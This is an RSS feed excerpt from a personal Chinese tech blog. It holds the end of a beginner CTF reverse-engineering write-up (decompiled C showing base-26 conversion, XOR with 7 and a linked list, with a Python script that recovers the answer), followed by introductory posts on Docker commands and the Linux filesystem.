&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void __fastcall __noreturn sub_1400010E0(char *input, __int64 a2)
{
  int length; // r9d
  __int64 copy_input; // r8
  char *addr_index; // r10
  char content; // al
  __int64 copy_length; // rbx
  char v7; // cl
  char v8; // [rsp+1Fh] [rbp-3F9h]
  char zero; // [rsp+20h] [rbp-3F8h] BYREF

  length = 0;
  copy_input = (__int64)input;
  if ( input )
  {
    addr_index = &amp;amp;zero;
    do
    {
      ++addr_index; //这里很明显是给一片连续内存写入经过处理后的string_len26
      ++length; //记录长度
      content = string_len26[copy_input + -26 * (copy_input / 26)];
      copy_input /= 26i64;
      *(addr_index - 1) = content; //这里很明显是给一片连续内存写入经过处理后的string_len26
    }
    while ( copy_input );
  }
  copy_length = length;
  while ( copy_length )
  {
    v7 = *(&amp;amp;v8 + copy_length--);
    sub_1400011E0(v7 ^ 7);
  }
  sub_140001220();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;do
{
    ++addr_index;
    ...
    *(addr_index - 1) = content; 
}
while ( copy_input );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里很明显是给一片连续内存写入经过处理后的 &lt;code&gt;string_len26&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;do
{
    content = string_len26[copy_input + -26 * (copy_input / 26)];
    copy_input /= 26i64;
}
while ( copy_input );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我看了很久，整理一下逻辑就是，&lt;code&gt;copy_input&lt;/code&gt;每次会除以26，然后取出 &lt;code&gt;content&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;至于 &lt;code&gt;string_len26[copy_input + -26 * (copy_input / 26)]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;展开有 &lt;code&gt;copy_input - copy_input&lt;/code&gt;这显然不对，因为 &lt;code&gt;copy_input / 26&lt;/code&gt;是向下取整的&lt;/p&gt;
&lt;p&gt;实际上这个表达式等价于：&lt;/p&gt;
&lt;p&gt;$$
x \bmod 26
$$&lt;/p&gt;
&lt;p&gt;这是因为：&lt;/p&gt;
&lt;p&gt;$$
x - 26 \times \lfloor \frac{x}{26} \rfloor = x \bmod 26
$$&lt;/p&gt;
&lt;p&gt;所以这就是个26 &lt;code&gt;进制转换&lt;/code&gt;，表是 &lt;code&gt;string_len26&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我不知道为什么 $\LaTeX$ 会以不同的形式渲染两遍，可能是 &lt;em&gt;MDX&lt;/em&gt; 的渲染机制导致的，这可能导致这部分看起来很奇怪。&lt;/p&gt;
&lt;p&gt;如果有大佬知道为什么，请在Issue中告诉我，谢谢。&lt;/p&gt;
&lt;hr&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;_QWORD *__fastcall sub_1400011E0(char a1)
{
  _QWORD *addr_result; // rax
  __int64 v3; // rdx

  addr_result = malloc(0x10ui64); // 分配内存 16字节，可存储2个QWORD(每个QWORD为8字节，即64位)
  v3 = qword_140004618; // 获取链表头
  qword_140004618 = (__int64)addr_result; // 更新链表头
  *(_QWORD *)(v3 + 8) = addr_result; // 将新节点添加到链表头部
  *(_BYTE *)v3 = a1; // 设置新节点的值
  addr_result[1] = 0i64; // 设置新节点的下一个节点为NULL
  return addr_result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次接触逆向的伪代码，这部分看得也十分吃力，丢给gpt了&lt;/p&gt;
&lt;p&gt;告诉我是个 &lt;code&gt;链表&lt;/code&gt;，我一看，确实。&lt;/p&gt;
&lt;p&gt;不过这部分似乎不重要。&lt;/p&gt;
&lt;hr&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void __noreturn sub_140001220()
{
  __int64 v0; // r9
  int v1; // ecx
  __int64 v2; // rdx
  char v3; // al
  int v4; // r8d
  __int64 v5; // r9
  char v6; // cl
  int v7; // eax

  v0 = qword_140004620;
  v1 = 0;
  v2 = 0i64;
  while ( 1 )
  {
    v3 = *(_BYTE *)v0;
    v4 = v1 + 1;
    v5 = *(_QWORD *)(v0 + 8);
    if ( v3 != aV4pY59[v2 - 1] )
      v4 = v1;
    qword_140004620 = v5;
    if ( !v5 )
      break;
    v6 = *(_BYTE *)v5;
    v7 = v4 + 1;
    v0 = *(_QWORD *)(v5 + 8);
    if ( v6 != aV4pY59[v2] )
      v7 = v4;
    qword_140004620 = v0;
    if ( v0 )
    {
      v2 += 2i64;
      v1 = v7;
      if ( v2 &amp;lt; 14 )
        continue;
    }
    goto LABEL_11;
  }
  v7 = v4;
LABEL_11:
  if ( v7 == 14 )
    sub_1400012E0();
  sub_1400012B0();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里发现 &lt;code&gt;aV4pY59&lt;/code&gt;是 &lt;code&gt;..v4p$$!&amp;gt;Y59-&lt;/code&gt;，两位两位取的，判断匹配数是否为14&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re1/1744385604640.png&quot; alt=&quot;1744385604640&quot;&gt;&lt;/p&gt;
&lt;p&gt;不过发现这只有13个，少了一个，看代码发现索引从-1开始&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/re1/1744385667471.png&quot; alt=&quot;1744385667471&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里也是参考了Writeup，前面要补一个 &lt;code&gt;/&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;s1 = &amp;quot;/..v4p$$!&amp;gt;Y59-&amp;quot;
s2 = &amp;quot;)(*&amp;amp;^%489$!057@#&amp;gt;&amp;lt;:2163qwe&amp;quot;

xor7 = [chr(ord(i) ^ 7) for i in s1]
# xor7.reverse()
result = 0
for i in xor7:
    num = s2.index(i)
    result *= 26
    result += num
print(result)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;26进制转换&lt;/li&gt;
&lt;li&gt;链表&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;写完blog之后感觉这题也就这样吧，可能还是我太菜了。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Fri, 11 Apr 2025 00:00:00 GMT</pubDate></item><item><title>Docker 入门</title><link>https://langqi99.com/blog/docker-starter/</link><guid isPermaLink="true">https://langqi99.com/blog/docker-starter/</guid><description>Docker 基础学习</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/docker-starter/&quot;&gt;https://langqi99.com/blog/docker-starter/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Diff from &amp;quot;../../components/mdx/Diff.astro&amp;quot;;
import Error from &amp;quot;../../components/mdx/Error.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Kbd from &amp;quot;../../components/mdx/Kbd.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TimeLine from &amp;quot;../../components/mdx/TimeLine.astro&amp;quot;;
import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;什么是 Docker？&lt;/h2&gt;
&lt;p&gt;Docker 是一个开源的容器化平台，用于开发、部署和运行应用程序。它允许开发者将应用程序及其依赖项打包到一个轻量级、可移植的容器中，然后可以在任何支持 Docker 的环境中运行。&lt;/p&gt;
&lt;h2&gt;Docker 与虚拟机的区别&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Docker 容器&lt;/th&gt;
&lt;th&gt;虚拟机 (VM)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;隔离&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;进程级隔离&lt;/td&gt;
&lt;td&gt;完整的硬件级隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;启动&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;秒级启动&lt;/td&gt;
&lt;td&gt;分钟级启动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;性能&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;接近原生性能&lt;/td&gt;
&lt;td&gt;有性能损耗&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;资源&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;轻量，共享宿主OS内核&lt;/td&gt;
&lt;td&gt;重量级，每个VM有完整OS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;大小&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通常为MB级别&lt;/td&gt;
&lt;td&gt;通常为GB级别&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;移植&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;高，跨平台兼容性好&lt;/td&gt;
&lt;td&gt;相对较低&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;核心概念&lt;/h2&gt;
&lt;h3&gt;1. 容器 (Container)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是镜像的运行&lt;strong&gt;实例&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;轻量级、独立、可执行的软件包&lt;/li&gt;
&lt;li&gt;包含运行应用所需的所有内容：代码、运行时、系统工具、系统库和设置&lt;/li&gt;
&lt;li&gt;容器之间相互隔离&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 镜像 (Image)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;容器的&lt;strong&gt;模板&lt;/strong&gt;，只读文件&lt;/li&gt;
&lt;li&gt;包含创建容器所需的所有文件和配置&lt;/li&gt;
&lt;li&gt;采用分层存储结构，可复用已有层&lt;/li&gt;
&lt;li&gt;通过 Dockerfile 构建&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Docker 引擎&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Docker 的核心组件&lt;/li&gt;
&lt;li&gt;包含：&lt;ul&gt;
&lt;li&gt;Docker 守护进程 (dockerd)：长期运行的服务端进程&lt;/li&gt;
&lt;li&gt;Docker 客户端 (docker CLI)：用户与守护进程交互的接口&lt;/li&gt;
&lt;li&gt;REST API：用于程序与守护进程交互&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Docker 安装&lt;/h2&gt;
&lt;h3&gt;在 Windows 上安装 Docker&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;访问官方 Docker 网站：&lt;a href=&quot;https://www.docker.com/products/docker-desktop/&quot;&gt;https://www.docker.com/products/docker-desktop/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;使用 WSL2 作为后端&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Docker 基本命令&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;容器生命周期管理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker run&lt;/code&gt;&lt;/strong&gt; - 创建并启动一个新容器&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run [选项] 镜像名 [命令]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;常用选项：&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-d&lt;/code&gt;：后台运行（守护态）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 主机端口:容器端口&lt;/code&gt;：端口映射&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v 主机路径:容器路径&lt;/code&gt;：挂载数据卷&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--name 容器名&lt;/code&gt;：指定容器名称&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e 环境变量&lt;/code&gt;：设置环境变量&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rm&lt;/code&gt;：容器退出后自动删除&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -d -p 8080:80 --name my_nginx nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker stop&lt;/code&gt;&lt;/strong&gt; - 停止运行中的容器&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker stop 容器ID或名称
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker stop my_nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker rm&lt;/code&gt;&lt;/strong&gt; - 删除已停止的容器&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker rm 容器ID或名称
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;强制删除运行中的容器：&lt;code&gt;-f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;删除所有已停止的容器：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker rm $(docker ps -aq)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;容器查询与操作&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker ps&lt;/code&gt;&lt;/strong&gt; - 查看容器列表&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker ps [选项]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;常用选项：
&lt;code&gt;-a&lt;/code&gt;：显示所有容器（包括已停止的）
&lt;code&gt;-q&lt;/code&gt;：仅显示容器ID&lt;/li&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker ps -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker logs&lt;/code&gt;&lt;/strong&gt; - 查看容器日志&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker logs 容器ID或名称
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;实时跟踪日志：&lt;code&gt;-f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;显示最后 N 行：&lt;code&gt;--tail N&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker logs -f my_nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker exec&lt;/code&gt;&lt;/strong&gt; - 在运行中的容器内执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker exec [选项] 容器ID或名称 命令
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;常用选项：
&lt;code&gt;-it&lt;/code&gt;：交互式终端（进入容器）&lt;/li&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker exec -it my_nginx /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker inspect&lt;/code&gt;&lt;/strong&gt; - 查看容器/镜像的详细信息（JSON 格式）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker inspect 容器ID/镜像名
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker inspect my_nginx | grep IPAddress # 查看容器IP
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;镜像管理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker images&lt;/code&gt;&lt;/strong&gt; - 列出本地镜像&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker images [选项]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;常用选项：
&lt;code&gt;-q&lt;/code&gt;：仅显示镜像ID&lt;/li&gt;
&lt;li&gt;示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker images
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker rmi&lt;/code&gt;&lt;/strong&gt; - 删除本地镜像&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker rmi 镜像ID或名称
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;强制删除：&lt;code&gt;-f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;删除所有镜像（慎用！）：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker rmi $(docker images -aq)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker pull&lt;/code&gt;&lt;/strong&gt; - 下载镜像&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker pull 镜像名:标签
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;docker build&lt;/code&gt;&lt;/strong&gt; - 通过 Dockerfile 构建镜像&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker build -t 镜像名:标签 Dockerfile路径
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;命令&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker run&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;创建并启动容器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker ps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查看容器列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker stop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;停止容器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker rm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除容器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker images&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;列出镜像&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker rmi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除镜像&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker logs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查看容器日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker exec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;进入运行中的容器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker inspect&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查看容器/镜像的详细信息&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;网络&lt;/h2&gt;
&lt;h3&gt;换源&lt;/h3&gt;
&lt;p&gt;最推荐的方式&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&amp;quot;registry-mirrors&amp;quot;: [&amp;quot;http://docker.m.daocloud.io&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker代理&lt;/h3&gt;
&lt;p&gt;研究一个小时未果，放弃。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;del&gt;打开 Docker Desktop&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;点击右上角的设置齿轮图标&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;选择 &amp;quot;Resources&amp;quot; → &amp;quot;Proxies&amp;quot;&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;在 &amp;quot;HTTP Proxy&amp;quot; 和 &amp;quot;HTTPS Proxy&amp;quot; 字段中输入你的代理地址（例如 &lt;code&gt;http://proxy.example.com:8080&lt;/code&gt;）&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;如果需要认证，使用格式 &lt;code&gt;http://username:password@proxy.example.com:8080&lt;/code&gt;&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;点击 &amp;quot;Apply &amp;amp; Restart&lt;/del&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;WSL2代理&lt;/h3&gt;
&lt;p&gt;修改&lt;code&gt;~/.bashrc&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export host_ip=$(cat /etc/resolv.conf | grep nameserver | awk &amp;#39;{print $2}&amp;#39;)
export http_proxy=&amp;quot;http://$host_ip:10804&amp;quot;
export https_proxy=&amp;quot;http://$host_ip:10804&amp;quot;
echo &amp;quot;Proxy ON: $http_proxy&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实战测试&lt;/h2&gt;
&lt;h3&gt;拉取&lt;/h3&gt;
&lt;p&gt;从github拉取excalidraw&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/excalidraw/excalidraw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以直接从dockerhub拉取&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker pull name:tag
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;构建镜像&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker build -t ec-draw .
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;运行容器&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -d --name my_container -p 8080:80 ec-draw
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;访问&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功访问&lt;/p&gt;
&lt;h3&gt;停止&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker stop my_container
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;注意&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;以上代码可以运行在windows和wsl2上&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Wed, 02 Apr 2025 00:00:00 GMT</pubDate></item><item><title>Linux 基础</title><link>https://langqi99.com/blog/linux-base/</link><guid isPermaLink="true">https://langqi99.com/blog/linux-base/</guid><description>Linux 基础命令、文件系统等</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/linux-base/&quot;&gt;https://langqi99.com/blog/linux-base/&lt;/a&gt;&lt;/blockquote&gt; &lt;h2&gt;文件系统&lt;/h2&gt;
&lt;h3&gt;目录结构&lt;/h3&gt;
&lt;p&gt;Linux 的目录结构遵循 &lt;strong&gt;FHS(Filesystem Hierarchy Standard，文件系统层次结构标准)&lt;/strong&gt;，常见的顶级目录及其作用如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;├── bin        # 二进制可执行文件(普通用户常用命令，如 ls, cp)
├── boot       # 启动文件(如内核 vmlinuz、GRUB 引导程序)
├── dev        # 设备文件(如 /dev/sda 硬盘，/dev/null)
├── etc        # 配置文件(系统和服务的配置，如 /etc/passwd)
├── home       # 普通用户的主目录(如 /home/user)
├── lib        # 共享库和内核模块(32 位系统的库)
├── lib64      # 64 位系统的共享库
├── media      # 可移动介质挂载点(如 USB 设备、光盘)
├── mnt        # 临时挂载点
├── opt        # 可选软件包(如第三方应用)
├── proc       # 进程和系统信息的虚拟文件系统(如 /proc/cpuinfo)
├── root       # root 用户的主目录
├── run        # 运行时数据(如 PID 文件、Socket)
├── sbin       # 系统管理命令(如 fdisk, reboot，仅 root 可用)
├── srv        # 服务相关数据(如 Web 服务器数据)
├── sys        # 系统信息的虚拟文件系统(如 /sys/class)
├── tmp        # 临时文件(重启后可能会清除)
├── usr        # 用户级应用程序和库(类似 /usr/bin, /usr/lib)
│   ├── bin    # 用户程序(如 gcc, python)
│   ├── lib    # 共享库文件
│   ├── local  # 本地安装的软件(如 /usr/local/bin)
│   ├── share  # 共享数据(如 /usr/share/man)
├── var        # 可变数据(如日志 /var/log, 邮件 /var/mail)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;重点目录&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/etc&lt;/code&gt;&lt;/strong&gt;：系统的配置文件目录，所有服务和系统级软件的配置都在这里。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/var/log&lt;/code&gt;&lt;/strong&gt;：日志文件目录，存储系统和应用程序日志，如 &lt;code&gt;syslog&lt;/code&gt;、&lt;code&gt;dmesg&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/proc&lt;/code&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;code&gt;/sys&lt;/code&gt;&lt;/strong&gt;：虚拟文件系统，提供系统信息，如 CPU、内存、进程信息等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/home&lt;/code&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;code&gt;/root&lt;/code&gt;&lt;/strong&gt;：普通用户和超级用户的家目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;路径&lt;/h2&gt;
&lt;h3&gt;绝对路径&lt;/h3&gt;
&lt;p&gt;从根目录 / 开始，完整地指定文件或目录的位置。
例如：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/home/user/documents/file.txt
/etc/nginx/nginx.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;相对路径&lt;/h3&gt;
&lt;p&gt;基于当前目录(pwd 查看当前目录)。
常用符号：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;. 代表当前目录(./file.txt 指当前目录下的 file.txt)。&lt;/li&gt;
&lt;li&gt;.. 代表上一级目录(../file.txt 指上一级目录中的 file.txt)。&lt;/li&gt;
&lt;li&gt;~ 代表用户的主目录(~/file.txt 相当于 /home/username/file.txt)。
示例
当前目录的文件：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat ./file.txt   # 等同于 cat file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上一级目录的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd ..            # 返回上一级目录
ls ../docs       # 列出上一级目录下 docs 文件夹中的内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户主目录的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd ~             # 进入当前用户的主目录
ls ~/Downloads   # 查看主目录的 Downloads 文件夹
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;命令行&lt;/h2&gt;
&lt;h3&gt;命令行提示符&lt;/h3&gt;
&lt;p&gt;命令行提示符是用户与操作系统交互的界面，通常显示当前用户、主机名和当前目录。&lt;/p&gt;
&lt;p&gt;命令行提示符的组成部分&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名：当前登录的用户名&lt;/li&gt;
&lt;li&gt;主机名：当前连接的主机名&lt;/li&gt;
&lt;li&gt;当前目录：当前所在的目录&lt;/li&gt;
&lt;li&gt;命令行提示符：通常是一个 $ 或 # 符号，表示命令行提示符&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例如&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;root@songhahaha:~# 
&lt;/code&gt;&lt;/pre&gt;
